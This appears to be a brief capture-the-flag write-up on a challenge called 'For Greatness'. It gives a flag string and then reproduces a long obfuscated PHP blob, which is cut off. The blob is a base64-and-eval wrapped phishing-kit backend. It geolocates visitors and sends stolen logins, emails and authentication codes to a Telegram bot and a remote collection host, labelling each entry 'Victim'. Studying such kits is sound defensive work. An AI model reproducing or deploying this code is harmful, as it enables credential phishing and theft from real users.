🐞 For Greatness

image.png

image.png

flag{f791310cef49f4d25d0778107033117f}

image.png

$____='printf';$___________='Class/Code NAME Class...';$___= 'X19sYW1iZGE=' ; $______=   'cmV0dXJuIGV2YWwoJF9fXyk7'  ;$____  =   'base64_decode';   $___________='CkBzZXNzaW9uX3N0YXJ0KCk7CmhlYWRlcignQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqJyk7IApoZWFkZXIoIkFjY2Vzcy1Db250cm9sLUFsbG93LUNyZWRlbnRpYWxzOiB0cnVlIik7CmhlYWRlcignQWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBQVVQsIFBPU1QsIERFTEVURSwgT1BUSU9OUycpOwoKJGluaXQgPSBwYXJzZV9pbmlfZmlsZSgnLi9maWxlcy9jb25maWcuaW5pJyk7CiRib3Q9JGluaXRbJ2JvdCddOyAKJGNoYXQ9JGluaXRbJ2NoYXQnXTsKJGVtYWlsPSRpbml0WydlbWFpbCddOwokZmluaXNoPSRpbml0WydmaW5pc2gnXTsKJGFwaT10cmltKCRpbml0WydhcGknXSk7CiR2X3NlbmQ9JGluaXRbJ3NlbmRfdmlzaXQnXTsKJGJsb2NrX2NoZWNrZXI9JGluaXRbJ2Jsb2NrX2JvdCddOwokYmxvY2tfYmxhY2s9JGluaXRbJ2RldGVjdF9ibGFja2xpc3QnXSA9PSAiMSIgPyAxIDogMDsKJGJsb2NrX3Byb3h5PSRpbml0WydkZXRlY3RfcHJveHknXSA9PSAiMSIgPyAxIDogMDsKJGFjY2VwdGVkX2NvdW50cnlzPSRpbml0Wydjb3VudHJ5X2NvZGUnXTsKJHNfa2V5PSRpbml0WydzZWNyZXRfa2V5J107CiRyel9uYW1lPSRpbml0WydyZXN1bHRzX2ZpbGUnXSAhPSAnJyA/ICRpbml0WydyZXN1bHRzX2ZpbGUnXSA6J3J6LnR4dCc7CiRwdWJsX2lwPWlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSA/ICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddIDogJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiRhY3R1YWxfbGluayA9ICJodHRwIiAuICI6Ly8kX1NFUlZFUltIVFRQX0hPU1RdJF9TRVJWRVJbUkVRVUVTVF9VUkldIjsKCmZ1bmN0aW9uIGRlY29kKCRkYXRhKXsKCSRuZCA9IFtdOwoJJG1kX2FycnJheSA9IGV4cGxvZGUoIiwiLCRkYXRhKTsKCSRtYWdpYyA9IDAuMjU7Cglmb3JlYWNoKCRtZF9hcnJyYXkgYXMgJGluZyl7CgkJJGNzdF9pbnQgPSAoKGludCkgJGluZykgKiAkbWFnaWMgKiAwLjU7CgkJYXJyYXlfcHVzaCgkbmQsY2hyKCRjc3RfaW50KSk7Cgl9CglyZXR1cm4gaW1wbG9kZSgiIiwkbmQpOwp9CgppZihmaWxlX2V4aXN0cygnLi9maWxlcy9odHRwZC5ncnQnKSl7CgkkdGVtcGhvc3QgPSBmaWxlX2dldF9jb250ZW50cygnLi9maWxlcy9odHRwZC5ncnQnKTsKCSRkdW1wID0gZGVjb2QoJHRlbXBob3N0KTsKCSRkdW1wcyA9IGpzb25fZGVjb2RlKCRkdW1wLDEpOwoJaWYoY291bnQoJGR1bXBzKSA+IDEpCgkJJGR1bXBzX3JlbSA9IGFycmF5X3NoaWZ0KCRkdW1wcyk7CgkvL2ZpbGVfcHV0X2NvbnRlbnRzKCJ0ZXN0LnR4c3QiLCRkdW1wKTsKCSRpcCA9ICRwdWJsX2lwOwoJJGlwT3JkcyA9ICIiOwoJZm9yZWFjaChzdHJfc3BsaXQoJGlwKSBhcyAkaW5kID0+ICR2YWx1ZSl7CgkJJGlwT3Jkcy49IChzdHJpbmcpb3JkKChzdHJpbmcpICR2YWx1ZSk7Cgl9Cgkkc3BsID0gc3RyX3NwbGl0KCRpcE9yZHMpOwoJJGRldGVybWluZXIgPSBlbmQoJHNwbCk7CgkvLyRkZXRlcm1pbmVyID0gMzsKCSRpbmRleCA9IChpbnQpJGRldGVybWluZXIgJSAoY291bnQoJGR1bXBzKSk7CgkkdGVtcF9ob3N0ID0gJGR1bXBzWyRpbmRleF07Cgp9CgoKCmNsYXNzIGVycm9yX2hhbmRsZXsKCXB1YmxpYyAkcGF0aCA9ICIuL2FkbWluL2Vycm9yIjsKCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpewoJCSR0aGlzLT5jb29rZWQgPSAkdGhpcy0+Y29vaygpOwoJfQoJcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKCQlpZighJHRoaXMtPmNvb2tlZCl7CgkJCWRlZmluZSgiU1RPUCIsIkZhaWxlZCBUbyBNYWtlIEVycm9yIERpcmVjdG9yeSIpOwoJCX0KCX0KCXByaXZhdGUgZnVuY3Rpb24gY29vaygpewoJCWlmKCFpc19kaXIoJHRoaXMtPnBhdGgpKXsKCQkJLy9kZWZpbmUgZXJyb3IgaG9sZGVyCgkJCWlmKG1rZGlyKCR0aGlzLT5wYXRoKSkKCQkJCXJldHVybiB0cnVlOwoJCQkKCQl9Cgl9CglwdWJsaWMgZnVuY3Rpb24gbG9nZXJyKCRlcnIpewoJCWZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uIi8iLiR0aGlzLT5wYXRoLiIvZXJyLnR4dCIsJGVycixGSUxFX0FQUEVORCk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gbXlFcnJvckhhbmRsZXJfYWJzdHJhY3QoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpCgl7CiAgICBpZiAoIShlcnJvcl9yZXBvcnRpbmcoKSAmICRlcnJubykpIHsKICAgICAgICAvLyBUaGlzIGVycm9yIGNvZGUgaXMgbm90IGluY2x1ZGVkIGluIGVycm9yX3JlcG9ydGluZywgc28gbGV0IGl0IGZhbGwKICAgICAgICAvLyB0aHJvdWdoIHRvIHRoZSBzdGFuZGFyZCBQSFAgZXJyb3IgaGFuZGxlcgogICAgICAgIC8vcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIC8vICRlcnJzdHIgbWF5IG5lZWQgdG8gYmUgZXNjYXBlZDoKICAgICRlcnJzdHIgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJzdHIpOwoJCgkkZWlkID0gdW5pcWlkKCk7CiAgICBzd2l0Y2ggKCRlcnJubykgewogICAgY2FzZSBFX1VTRVJfRVJST1I6CiAgICAgICAgJHRoaXMtPmxvZ2VyciggICJbRkFUQUwgRVJST1IgJGVpZDokZXJybGluZV06IFskZXJybm9dICRlcnJzdHIgXG4iKTsKICAgICAgICAkdGhpcy0+bG9nZXJyKCAgIltGQVRBTCBFUlJPUiAkZWlkXTogIEZhdGFsIGVycm9yIG9uIGxpbmUgJGVycmxpbmUgaW4gZmlsZSAkZXJyZmlsZSIgLiAiLCBQSFAgIiAuIFBIUF9WRVJTSU9OIC4gIiAoIiAuIFBIUF9PUyAuICIpXG4iKTsKICAgICAgICBleGl0KDEpOwoKICAgIGNhc2UgRV9VU0VSX1dBUk5JTkc6CiAgICAgICAgJHRoaXMtPmxvZ2VyciggICJbV0FSTklORyAkZWlkOiRlcnJsaW5lIGF0ICRlcnJmaWxlXTogWyRlcnJub10gJGVycnN0clxuIik7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSBFX1VTRVJfTk9USUNFOgogICAgICAgICR0aGlzLT5sb2dlcnIoICAiW05PVElDRSAkZWlkOiRlcnJsaW5lIGF0ICRlcnJmaWxlXTogWyRlcnJub10gJGVycnN0ciBcbiIpOwogICAgICAgIGJyZWFrOwoKICAgIGRlZmF1bHQ6CiAgICAgICAgJHRoaXMtPmxvZ2VyciggIltVbmtub3duICRlaWQ6JGVycmxpbmUgYXQgJGVycmZpbGVdOiBbJGVycm5vXSAkZXJyc3RyXG4iKTsKICAgICAgICBicmVhazsKICAgIH0KCiAgICAvKiBEb24ndCBleGVjdXRlIFBIUCBpbnRlcm5hbCBlcnJvciBoYW5kbGVyICovCiAgICByZXR1cm4gdHJ1ZTsKCX0KCXB1YmxpYyBmdW5jdGlvbiBmYXRhbF9oYW5kbGVyX2Fic3RyYWN0KCkgewoJCSRlcnJmaWxlID0gInVua25vd24gZmlsZSI7CgkJJGVycnN0ciAgPSAic2h1dGRvd24iOwoJCSRlcnJubyAgID0gRV9DT1JFX0VSUk9SOwoJCSRlcnJsaW5lID0gMDsKCgkJJGVycm9yID0gZXJyb3JfZ2V0X2xhc3QoKTsKCgkJaWYoJGVycm9yICE9PSBOVUxMKSB7CgkJCSAgICRlcnJubyAgID0gJGVycm9yWyJ0eXBlIl07CiAgICAgCQkgICAkZXJyZmlsZSA9ICRlcnJvclsiZmlsZSJdOwoJCQkgICAkZXJybGluZSA9ICRlcnJvclsibGluZSJdOwoJCQkgICAkZXJyc3RyICA9ICRlcnJvclsibWVzc2FnZSJdOwoJCQkgICAkZWlkID0gdW5pcWlkKCk7CgkJCSAgICR0aGlzLT5sb2dlcnIoICAiW0VYSVQgRVJST1IgJGVpZF06IFskZXJybm9dICRlcnJzdHIgXG4iKTsKCQkJICAgJHRoaXMtPmxvZ2VyciggICJbRVhJVCBFUlJPUiAkZWlkXTogIEZhdGFsIGVycm9yIG9uIGxpbmUgJGVycmxpbmUgaW4gZmlsZSAkZXJyZmlsZSIgLiAiLCBQSFAgIiAuIFBIUF9WRVJTSU9OIC4gIiAoIiAuIFBIUF9PUyAuICIpXG4iKTsKCQl9Cgl9CglwdWJsaWMgZnVuY3Rpb24gY2hlY2tfc2VuZCgkYXBpLCRjaGF0LCRob3N0KXsKCQlpZighZmlsZV9leGlzdHMoX19ESVJfXy4iLyIuJHRoaXMtPnBhdGguIi9lcnIudHh0IikpCgkJCXJldHVybiBmYWxzZTsKCQlpZigoJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoX19ESVJfXy4iLyIuJHRoaXMtPnBhdGguIi9lcnIudHh0IikpICYmICFlbXB0eSgkY29udGVudCkpewoJCQlpZigkdGhpcy0+c2VuZF9lcnJvcl9sb2coJGNvbnRlbnQsJGFwaSwkY2hhdCwkaG9zdCkpCgkJCQlAdW5saW5rKF9fRElSX18uIi8iLiR0aGlzLT5wYXRoLiIvZXJyLnR4dCIpOwoJCX0KCX0KCXByaXZhdGUgZnVuY3Rpb24gc2VuZF9lcnJvcl9sb2coJGVycm9yLCRhcGksJGNoYXQsJGhvc3QpewoJCXJldHVybiBkb19pdCgnZXJyb3InLCRlcnJvciwkYXBpLCRjaGF0LCRob3N0KSA9PSAibG9nZ2VkIjsKCX0KfQoKLy9lcnJvcnMgCmVycm9yX3JlcG9ydGluZyhFX0FMTCk7CiRlcnJvcnMgPSBuZXcgZXJyb3JfaGFuZGxlKCk7CnJlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uKCBbJGVycm9ycywiZmF0YWxfaGFuZGxlcl9hYnN0cmFjdCJdICk7CiRvbGRfZXJyb3JfaGFuZGxlciA9IHNldF9lcnJvcl9oYW5kbGVyKFskZXJyb3JzLCJteUVycm9ySGFuZGxlcl9hYnN0cmFjdCJdKTsKCgpmdW5jdGlvbiBsb2dnZXJfZXJyb3IoJGVycm9yKXsKCWZpbGVfcHV0X2NvbnRlbnRzKCIuL2FkbWluL2Vycm9yLmxvZyIsJGVycm9yKTsKfQpjbGFzcyBkaXNwIHsKCXB1YmxpYyBmdW5jdGlvbiBjdXJsMSgkdXJsKXsKCQlpZigkdGhpcy0+Y3VybCgkdXJsKT09JycpewoJCQkkdGhpcy0+Y3VybCgkdXJsKTsKCQl9Cgl9CglwdWJsaWMgZnVuY3Rpb24gc2F2ZSgkYXJnLCRsb2MpewoJCWZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uJy8nLiRsb2MsJGFyZyxGSUxFX0FQUEVORCk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gY3VybCgkdXJsKXsKCQkkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICRleGVjID0gY3VybF9leGVjKCRjaCk7CgkJJGh0dHBjb2RlID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsKCQlpZigkaHR0cGNvZGUgPT0gMjAwKXsKCQkJcmV0dXJuICRleGVjOwoJCX0KCQllbHNlewoJCQlsb2dnZXJfZXJyb3IoIlRlbGVncmFtIHRva2VuIG5vdCBhY3RpdmF0ZWQiKTsKCQkJZWNobyAidG9rZW4iOwoJCQlleGl0KCk7CgkJfQoJfQoJcHVibGljIGZ1bmN0aW9uIG1haWxUbygkYWRkLCRjb250KXsKCQkkc3ViamVjdD0nKysrK09mZmljZSBFbWFpbCBGcm9tIEdyZWF0bmVzcysrKysrJzsKCQkkaGVhZGVycz0nQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnIC4gIlxyXG5Gcm9tOiBHcmVhdG5lc3MgPGdob3N0K31mNzExMzMwNzAxODc3MGQ1MmQ0Zjk0ZmVjMDEzMTk3ZntnYWxmQGdyZWF0bmVzcy5jb20+IiAuICJcclxuIjsKCQlAbWFpbCgkYWRkLCRzdWJqZWN0LCRjb250LCRoZWFkZXJzKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiBzZW5kKCRhcmcsJGJvdF90b2tlbiwkY2hhdF9pZCwkZW1haWwsJGxvYyl7CgkJJGNvbmZpZz1hcnJheSgKCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCSd0ZXh0Jz0+JGFyZwoJCSk7CgkJJHVybD0naHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCcuc3RyX3JlcGxhY2UoJ2JvdCcsJycsJGJvdF90b2tlbik7CgkJJHN0YXJ0PSR1cmwuJy9zZW5kTWVzc2FnZT8nLnN0cl9yZXBsYWNlKCc/JywnJyxodHRwX2J1aWxkX3F1ZXJ5KCRjb25maWcpKTsKCQkkdGhpcy0+Y3VybDEoJHN0YXJ0KTsKCS8vCSR0aGlzLT5tYWlsVG8oJGVtYWlsLCRhcmcpOwoJLy8JJHRoaXMtPnNhdmUoJGFyZywkbG9jKTsKCX0KfQoKZGVmaW5lKCJib3RfdG9rZW4iLCRib3QpOwpkZWZpbmUoImNoYXRfaWQiLCRjaGF0KTsKZGVmaW5lKCJhX2xpbmsiLCRhY3R1YWxfbGluayk7CmRlZmluZSgicHVibGljX2lwIiwkcHVibF9pcCk7CmRlZmluZSgicmVtIiwkZHVtcHNfcmVtID8/ICIiKTsKZGVmaW5lKCJvbmVfaG90IixbJGJsb2NrX2JsYWNrLCAkYmxvY2tfcHJveHldKTsKCmZ1bmN0aW9uIGRvX2l0KCR0eXBlLCR2YWx1ZSwkYXBpLCRjaGF0LCR0ZW1wX2hvc3QpewoJJGJvdCA9IGJvdF90b2tlbjsKCSRjaGF0ID0gY2hhdF9pZDsKCSRhY3R1YWxfbGluaz1hX2xpbms7CgkkcHViX2lwID0gcHVibGljX2lwOwoJJGxpbmsgPSAkYWN0dWFsX2xpbms7CnN3aXRjaCgkdHlwZSl7CgljYXNlICdlbWFpbCc6CgkJJGRhdGEgPSBhcnJheSgnYXBpX2tleSc9PmFycmF5KCRhcGksJGNoYXQsJGJvdCwkbGluayksJ2RhdGEnPT4kdmFsdWUsJ3R5cGUnPT4nZW1haWwnKTsKCQlicmVhazsKCWNhc2UgJ2xvZ2luJzoKCQkkZGF0YSA9IGFycmF5KCdhcGlfa2V5JyA9PiBhcnJheSgkYXBpLCRjaGF0LCRib3QsJGxpbmspLCdkYXRhJz0+JHZhbHVlLCd0eXBlJz0+J2xvZ2luJyk7CgkJYnJlYWs7CgljYXNlICdib3QnOgoJCSRkYXRhID0gYXJyYXkoJ2FwaV9rZXknID0+IGFycmF5KCRhcGksJGNoYXQsJGJvdCwkbGluayksJ2RhdGEnPT4kdmFsdWUsJ3R5cGUnPT4nYm90Jyk7CgkJYnJlYWs7CgljYXNlICdjb2RlJzoKCQkkZGF0YSA9IGFycmF5KCdhcGlfa2V5JyA9PiBhcnJheSgkYXBpLCRjaGF0LCRib3QsJGxpbmspLCdkYXRhJz0+JHZhbHVlLCd0eXBlJz0+J2NvZGUnKTsKCQlicmVhazsKCWNhc2UgJ2F1dGgnOgoJCSRkYXRhID0gYXJyYXkoJ2FwaV9rZXknID0+IGFycmF5KCRhcGksJGNoYXQsJGJvdCwkbGluayksJ2RhdGEnPT4kdmFsdWUsJ3R5cGUnPT4nYXV0aCcpOwoJCWJyZWFrOwoJY2FzZSAnc3RhcnRfbWYnOgoJCSRkYXRhID0gYXJyYXkoJ2FwaV9rZXknID0+IGFycmF5KCRhcGksJGNoYXQsJGJvdCwkbGluayksJ2RhdGEnPT4kdmFsdWUsJ3R5cGUnPT4nc3RhcnRfbWYnKTsKCQlicmVhazsKCWNhc2UgInJhbmRvbSI6CgkJJGRhdGEgPSBhcnJheSgnYXBpX2tleScgPT4gYXJyYXkoJGFwaSwkY2hhdCwkYm90LCRsaW5rKSwnZGF0YSc9PiIiLCd0eXBlJz0+J3JhbmRvbScpOwoJCWJyZWFrOwoJY2FzZSAibWtyIjoKCQkkZGlyID0gOTk5OwoJCSRkYXRhID0gYXJyYXkoJ2FwaV9rZXknID0+IGFycmF5KCRhcGksJGNoYXQsJGJvdCwkbGluayksJ2RhdGEnPT4iIiwndHlwZSc9Pidta3InKTsKCQlicmVhazsKCWNhc2UgIm1rcjIiOgoJCSRkaXIgPSA5OTk7CgkJJGRhdGEgPSBhcnJheSgnYXBpX2tleScgPT4gYXJyYXkoJGFwaSwkY2hhdCwkYm90LCRsaW5rKSwnZGF0YSc9PiIiLCd0eXBlJz0+J21rcjInKTsKCQlicmVhazsKCWNhc2UgInVwZCI6CgkJJGRhdGEgPSBhcnJheSgnYXBpX2tleScgPT4gYXJyYXkoJGFwaSwkY2hhdCwkYm90LCRsaW5rKSwnZGF0YSc9Pid7InVwZCI6IjEifScsJ3R5cGUnPT4ndXBkJyk7CgkJJGRpciA9IDk5OTsKCQlicmVhazsKCWNhc2UgImVycm9yIjoKCQkkZGF0YSA9IGFycmF5KCdhcGlfa2V5JyA9PiBhcnJheSgkYXBpLCRjaGF0LCRib3QsJGxpbmspLCdkYXRhJz0+JHZhbHVlLCd0eXBlJz0+J2Vycm9yJyk7CgkJJGRpciA9IDk5OTsKCQlicmVhazsKCWNhc2UgImJ0IjoKCQkkZGF0YSA9IGFycmF5KCdhcGlfa2V5JyA9PiBhcnJheSgkYXBpLCRjaGF0LCRib3QsJGxpbmspLCdkYXRhJz0+JHZhbHVlLCd0eXBlJyA9PiAnYnQnKTsKCQlicmVhazsKCWRlZmF1bHQ6CgkJJG9uZV9ob3QgPSBvbmVfaG90OwoJCSRkYXRhPWFycmF5KCdhcGlfa2V5JyA9PiBhcnJheSgkYXBpLCRjaGF0LCRib3QsJGxpbmssJG9uZV9ob3QsJHB1Yl9pcCkpOwoJCSRkaXIgPSA5OTk7Cn0KCiRkYXRhX2pzb24gPSBqc29uX2VuY29kZSgkZGF0YSk7CiRyYXc9J2RhdGE9Jy51cmxlbmNvZGUoJGRhdGFfanNvbik7CiRwcml2PWlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSA/ICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddIDogJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgokdXJsID0gIWlzc2V0KCRkaXIpID8gJHRlbXBfaG9zdCA6IChyZW0gPzogJHRlbXBfaG9zdCk7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoCiAgICAnQWNjZXB0OiAqLyonLAogICAgLy8nQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlJywKICAgICdBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41JywKICAgICdDb25uZWN0aW9uOiBrZWVwLWFsaXZlJywKICAgICdYLUZvcjogJy4kcHJpdiwKICAgICdVc2VyLUFnZW50OiAnLiRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSNNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjE7IHJ2OjE2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTYuMCcKICApCik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCRyYXcpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIHRydWUpOwokcmVzcG9uc2UgID0gY3VybF9leGVjKCRjaCk7CiRodHRwY29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7CmlmKCR0eXBlPT0nbGl2ZV9jaGVjaycpewoJaWYoJGh0dHBjb2RlIT0yMDAgfHwgJGh0dHBjb2RlPT00MDQpewoJCXJldHVybiAwOwoJCWV4aXQoKTsKCX0KCWVsc2V7CgkJcmV0dXJuIDE7CgkJZXhpdCgpOwoJfQp9CmN1cmxfY2xvc2UoJGNoKTsKcmV0dXJuICRyZXNwb25zZTsKfQpmdW5jdGlvbiBvcygpewoJCSRvc19wbGF0Zm9ybT0iVW5rbm93biBPUyI7CgkJJGFsbD1hcnJheSgnL3dpbmRvd3MgbnQgMTAvaSc9PidXaW5kb3dzIDEwJywnL3dpbmRvd3MgbnQgNi4zL2knPT4nV2luZG93cyA4LjEnLCcvd2luZG93cyBudCA2LjIvaSc9PidXaW5kb3dzIDgnLCcvd2luZG93cyBudCA2LjEvaSc9PidXaW5kb3dzIDcnLCcvd2luZG93cyBudCA2LjAvaSc9PidXaW5kb3dzIFZpc3RhJywnL3dpbmRvd3MgbnQgNS4yL2knPT4nV2luZG93cyBTZXJ2ZXIgMjAwMy9YUCB4NjQnLCcvd2luZG93cyBudCA1LjEvaSc9PidXaW5kb3dzIFhQJywnL3dpbmRvd3MgeHAvaSc9PidXaW5kb3dzIFhQJywnL3dpbmRvd3MgbnQgNS4wL2knPT4nV2luZG93cyAyMDAwJywnL3dpbmRvd3MgbWUvaSc9PidXaW5kb3dzIE1FJywnL3dpbjk4L2knPT4nV2luZG93cyA5OCcsJy93aW45NS9pJz0+J1dpbmRvd3MgOTUnLCcvd2luMTYvaSc9PidXaW5kb3dzIDMuMTEnLCcvbWFjaW50b3NofG1hYyBvcyB4L2knPT4nTWFjIE9TIFgnLCcvbWFjX3Bvd2VycGMvaSc9PidNYWMgT1MgOScsJy9saW51eC9pJz0+J0xpbnV4JywnL3VidW50dS9pJz0+J1VidW50dScsJy9pcGhvbmUvaSc9PidpUGhvbmUnLCcvaXBvZC9pJz0+J2lQb2QnLCcvaXBhZC9pJz0+J2lQYWQnLCcvYW5kcm9pZC9pJz0+J0FuZHJvaWQnLCcvYmxhY2tiZXJyeS9pJz0+J0JsYWNrQmVycnknLCcvd2Vib3MvaSc9PidNb2JpbGUnKTsKCQlmb3JlYWNoKCRhbGwgYXMgJHJlZ2V4PT4kdmFsdWUpewoJCQlpZihwcmVnX21hdGNoKCRyZWdleCwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsKCQkJCSRvc19wbGF0Zm9ybT0kdmFsdWU7CgkJCX0KCQl9CgkJcmV0dXJuICRvc19wbGF0Zm9ybTsKfQpmdW5jdGlvbiBicm93c2UoKXsKCQkkYnJvd3Nlcj0iVW5rbm93biBCcm93c2VyIjsKCQkkYWxsPWFycmF5KCcvbXNpZS9pJz0+J0ludGVybmV0IEV4cGxvcmVyJywnL2ZpcmVmb3gvaSc9PidGaXJlZm94JywnL3NhZmFyaS9pJz0+J1NhZmFyaScsJy9jaHJvbWUvaSc9PidDaHJvbWUnLCcvZWRnZS9pJz0+J0VkZ2UnLCcvb3BlcmEvaSc9PidPcGVyYScsJy9uZXRzY2FwZS9pJz0+J05ldHNjYXBlJywnL21heHRob24vaSc9PidNYXh0aG9uJywnL2tvbnF1ZXJvci9pJz0+J0tvbnF1ZXJvcicsJy9tb2JpbGUvaSc9PidIYW5kaGVsZCBCcm93c2VyJyk7CgkJZm9yZWFjaCgkYWxsIGFzICRyZWdleD0+JHZhbHVlKXsKCQkJaWYocHJlZ19tYXRjaCgkcmVnZXgsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7CgkJCQkkYnJvd3Nlcj0kdmFsdWU7CgkJCX0KCQl9CgkJcmV0dXJuICRicm93c2VyOwp9CmZ1bmN0aW9uIHNhdmVfcigkbmFtZSwkY29udGVudCwkdHlwZT0ianNvbiIpewoJc3dpdGNoKCR0eXBlKXsKCQljYXNlICdqc29uJzoKCQkJZmlsZV9wdXRfY29udGVudHMoJy4vYWRtaW4vJy4kbmFtZSxqc29uX2VuY29kZSgkY29udGVudCkuUEhQX0VPTCxGSUxFX0FQUEVORCk7CgkJCWJyZWFrOwoJCWRlZmF1bHQ6CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCRuYW1lLCRjb250ZW50LlBIUF9FT0wsRklMRV9BUFBFTkQpOwoJfQp9CmZ1bmN0aW9uIGdldF90X2QoJGJvdCwkY2hhdCwkZW1haWwsJHZfc2VuZCwkYmxvY2tfY2hlY2tlciwkZGV0YWlscyl7Cmxpc3QoJGJsb2NrX2JsYWNrLCRibG9ja19wcm94eSwkYWNjZXB0ZWRfY291bnRyeXMpID0gYXJyYXlfbWFwKGZ1bmN0aW9uKCRpbnApewoJcmV0dXJuICRHTE9CQUxTWyRpbnBdOwp9LFsiYmxvY2tfYmxhY2siLCJibG9ja19wcm94eSIsImFjY2VwdGVkX2NvdW50cnlzIl0pOwokZGV0YWlscyA9IGlzX2FycmF5KCRkZXRhaWxzKSA/ICRkZXRhaWxzIDoganNvbl9kZWNvZGUoJGRldGFpbHMsMSk7CiRzcGVjaXA9JF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPz8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CmlmKCFpc3NldCgkZGV0YWlsc1siY291bnRyeSJdKSB8fCAhaXNzZXQoJGRldGFpbHNbImlzcCJdKSl7CgkkZGV0YWlsID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vbm9yZHZwbi5jb20vd3AtYWRtaW4vYWRtaW4tYWpheC5waHA/YWN0aW9uPWdldF91c2VyX2luZm9fZGF0YSZpcD0nLiRzcGVjaXApLDEpOwoJaWYoJGRldGFpbCAhPSAgbnVsbCl7CgkJJGRldGFpbHNbImNvdW50cnljb2RlIl0gPSAkZGV0YWlsWyJjb3VudHJ5X2NvZGUiXSA/PyAiIjsKCQkkZGV0YWlscyA9IEBhcnJheV9tZXJnZSgkZGV0YWlscywkZGV0YWlsKTsKCX0KCWlmKCRkZXRhaWwgPT0gbnVsbCB8fCAhaXNzZXQoJGRldGFpbHNbImNvdW50cnkiXSkpewoJCSRkZXRhaWwgPWpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL2lwaW5mby5pby8nLiRzcGVjaXAuJy9qc29uJyksMSk7CgkJJGRldGFpbHNbImNvdW50cnljb2RlIl0gPSAkZGV0YWlsWyJjb3VudHJ5Il0gPz8gIiI7CgkJJGRldGFpbHNbInRpbWV6b25lIl0gPSAkZGV0YWlsWyJ0aW1lem9uZSJdID8/ICIiOwoJCSRkZXRhaWxzWyJjb3VudHJ5Il0gPSAkZGV0YWlsWyJjb3VudHJ5Il0gPz8gIiI7CgkJJGRldGFpbHNbImNpdHkiXSA9ICRkZXRhaWxbInJlZ2lvbiJdID8/ICIiOwoJCSRkZXRhaWxzWyJpc3AiXSA9IEBwcmVnX3JlcGxhY2UoIi9BUyguKj8pIC9pIiwiIiwoJGRldGFpbFsib3JnIl0gPz8gIiIpKTsKCX0KfQokY291bnRyeT1pc3NldCgkZGV0YWlsc1snY291bnRyeSddKSA/ICRkZXRhaWxzWydjb3VudHJ5J10gOiAnJyA7CiRpc3A9aXNzZXQoJGRldGFpbHNbJ2lzcCddKSA/IEB0cmltKCRkZXRhaWxzWydpc3AnXSkgOiAnJyA7CiRHTE9CQUxTWyJjb3VudHJ5Il0gPSAkY291bnRyeTsKJEdMT0JBTFNbImlzcCJdID0gJGlzcDsKaWYoIWlzc2V0KCRkZXRhaWxzWydpcCddKSl7CglmaWxlX3B1dF9jb250ZW50cygnZXJyb3IudHh0Jyxqc29uX2VuY29kZSgkZGV0YWlscykuUEhQX0VPTCk7Cn0KJGlwPSRzcGVjaXA7CiRjaXR5PWlzc2V0KCRkZXRhaWxzWydjaXR5J10pID8gJGRldGFpbHNbJ2NpdHknXSA6ICcnIDsKJHRpbWV6b25lPSRkZXRhaWxzWyd0aW1lem9uZSddID8/ICcnIDsKJEdMT0JBTFNbImNpdHkiXSA9ICRjaXR5Owokb3M9b3MoKTsKJGJyb3dzZXI9YnJvd3NlKCk7CiRkZXQ9IlZpY3RpbSA6ICRpcApDaXR5IDogJGNpdHkKQ291bnRyeSA6ICRjb3